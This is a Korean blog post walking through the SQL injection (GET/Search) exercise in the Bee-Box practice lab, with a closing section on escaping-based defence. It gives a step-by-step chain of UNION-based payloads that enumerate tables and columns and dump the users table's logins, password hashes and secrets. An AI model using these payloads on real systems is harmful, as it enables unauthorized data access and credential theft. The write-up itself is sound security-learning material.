일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- python
- 파이썬
- 객체
- Pwndbg
- IF문
- 백준 파이썬
- 조건문
- object
- 사칙연산
- 김성엽 대표님
- xss game
- document
- 포인터
- 메소드
- jQuery
- suninatas 풀이
- htmlspecialchars
- sql injection
- property
- lord of sql injection
- blind sql injection
- github
- 백준 알고리즘
- xss game 풀이
- element 조회
- 배열
- 함수
- burp suite
- 자바스크립트
- window
- Today
- Total
power-girl0-0
SQL 인젝션(GET/Search) 본문
SQL 인젝션이란?
사용자가 입력값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점
- 해당 공격은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생가능하다.
- SQL쿼리를 변수에 입력하여 데이터베이스 정보를 획득하거나 시스템 내부를 파악하는 공격이다.
1. SQL Injection (GET/Search)를 선택합니다.
2. 검색창에 작은따옴표(')를 입력하여 SQL 인젝션이 가능한지 알아본다.
('sqli_1.php' 페이지는 영화 제목을 검색하고 데이터베이스에서 조회한 결과를 보여주는 페이지이다.)
입력결과 SQL 오류 메시지를 출력하는 것을 확인할 수 있다.
(SQL 인젝션 취약점이 존재할 경우 SQL 오류 메시지를 출력한다.)
작은따옴표는 데이터베이스에서 문자 데이터를 구분하는 것으로 입력창에 '를 입력시 다음과 같이 문법 오류가 발생하는 것을 알수 있다.
SELECT * FROM movies WHERE title LIKE ' ' ' |
아래 표의 쿼리를 활용하여 어떤 주석문자를 사용하였는지 확인한다.
' or 1=1-- | 쿼리 결과를 항상 참으로 만들고 기존 코드의 뒷부분을 주석처리한다. |
' or 1=1# |
입력해본 결과 두번째 쿼리에서 영화자료가 출력됨을 보아 주석문자는 #을 사용하는 것을 알 수 있다.
3. 컬럼 수가 몇개인지 확인한다.
기존 쿼리가 있어서 SQL 인젝션으로 데이터베이스의 내용을 파악하려면 둘 이상의 SELECT 문을 결합하는 UNION 구문이 필요하다. 따라서, UNION SELECT 문을 사용하여 두 질의의 결과를 하나로 반환한다.
' UNION SELECT ALL 1# |
UNION SELECT문을 사용하려면 이전 쿼리문과 컬럼 수가 일치해야 하는 조건이 있다. 해당 조건을 활용하면 컬럼 수의 개수를 확인할 수 있다.
컬럼을 하나씩 늘려 입력한 결과 'UNION SELECT ALL 1,2,3,4,5,6,7#쿼리문에서 영화목록이 출력된 것을 보아 컬럼 수가 7개 인 것을 확인할 수 있다.
4. MySQL버전을 확인한다.
MySQL버전이 5.0이상일 경우 이전 버전과 쿼리가 달라지므로 MySQL버전을 확인해야한다.
본 글은 확인을 위해 시스템 함수인 @@version 명령어를 활용하여 쿼리를 입력하였다.
'UNION SELECT ALL 1, @@version, 3,4,5,6,7# |
쿼리 입력 결과 MySQL버전이 5.0이상인 것을 확인할 수 있다.
5. 데이터 서버에 존재하는 테이블 명을 출력한다.
해당 서버는 MySQL버전이 5.0이상이므로 information_schema를 사용하여 테이블 명을 확인한다.
'UNION SELECT ALL 1, table_name, 3,4,5,6,7 from information_schema.tables; |
해당 명령어를 사용한 결과 데이터베이스에 속한 모든 테이블명을 출력할 수 있다.
6. users테이블의 컬럼이름을 확인해본다.
5번에 출력된 테이블 명 중 user테이블이 있는 것을 보아 사용자의 계정 정보가 들어있다고 추측할 수 있다.
따라서, where절을 활용하여 users테이블 정보만 출력하게 조건을 지정하여 쿼리를 이력해보았다.
' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# |
쿼리 결과 users테이블의 컬럼 명들이 출력된 것을 확인할 수 있다.
7. users테이블에 들은 계정을 확인할 수 있다.
6번에서 확인한 결과 컬럼 명에 id, login, password 등이 있는 것을 확인할 수 있다. 해당 컬럼 명은 계정정보와 관련이 있는 것으로 예상할 수 있다. 따라서, 컬럼의 내용을 확인해보았다.
UNION SELECT ALL 1, concat(id,login), password, email, secret, 6, 7 from users# |
확인하고자 하는 컬럼 수 가 많을 경우 concat함수를 사용하여 여러 컬럼 내용을 확인할 수 있다.
확인 결과, id컬럼은 회원 순서, login은 아이디, password컬럼은 비밀번호 해시값이 저장되어 있는 것을 확인할 수 있었다.
대응방안
작은따옴표(')를 입력하여도 오류 메시지가 출력되지 않으면 SQL인젝션은 불가능하다.
sqli_1.php 페이지의 소스코드를 확인해 보면 난이도 하와 달리 상위 레벨에서는 sqli_check함수로 이동하는 것을 확인할 수 있다.
[그림 8-1]은 security_level에 대한 설정소스이다.
[그림 8-2]는 레벨에 맞춰 data에 대해 우회하도록 설정해둔 소스이다.
가장 높은 high레벨이 우회하고 있는 sqli_check_2함수가 정의되있는 소스를 확인한다. (functions_external.php)
정의된 함수를 확인해본 결과, mysql_real_escape_string함수를 사용하여 입력 데이터를 우회한다.
mysql_real_escape_string함수는 사용자의 입력값에 SQL문법에서 사용하는 특수문자가 있을 경우 백슬레시를 붙여 입력 데이터를 SQL문법으로 인식하지 않게 방어한다.
여기서 우회 문자는 'NULL, \n, \r, \, ', ", ^Z' 이므로 작은따옴표를 입력해도 백슬래시가 붙어 SQL쿼리로 인식되지 않는다.
'웹해킹 > Bee-Box' 카테고리의 다른 글
저장된 XSS ( Stored Cross-site Scripting ) (0) | 2020.12.23 |
---|---|
SQL 인젝션(POST/Search) (0) | 2020.12.15 |
SSI Injection ( Sever-Side-Includes Injection ) (0) | 2020.09.17 |
PHP 코드 인젝션 ( PHP Code Injection ) (0) | 2020.09.17 |
OS 커맨드 인젝션 ( OS Command Injection ) (0) | 2020.09.17 |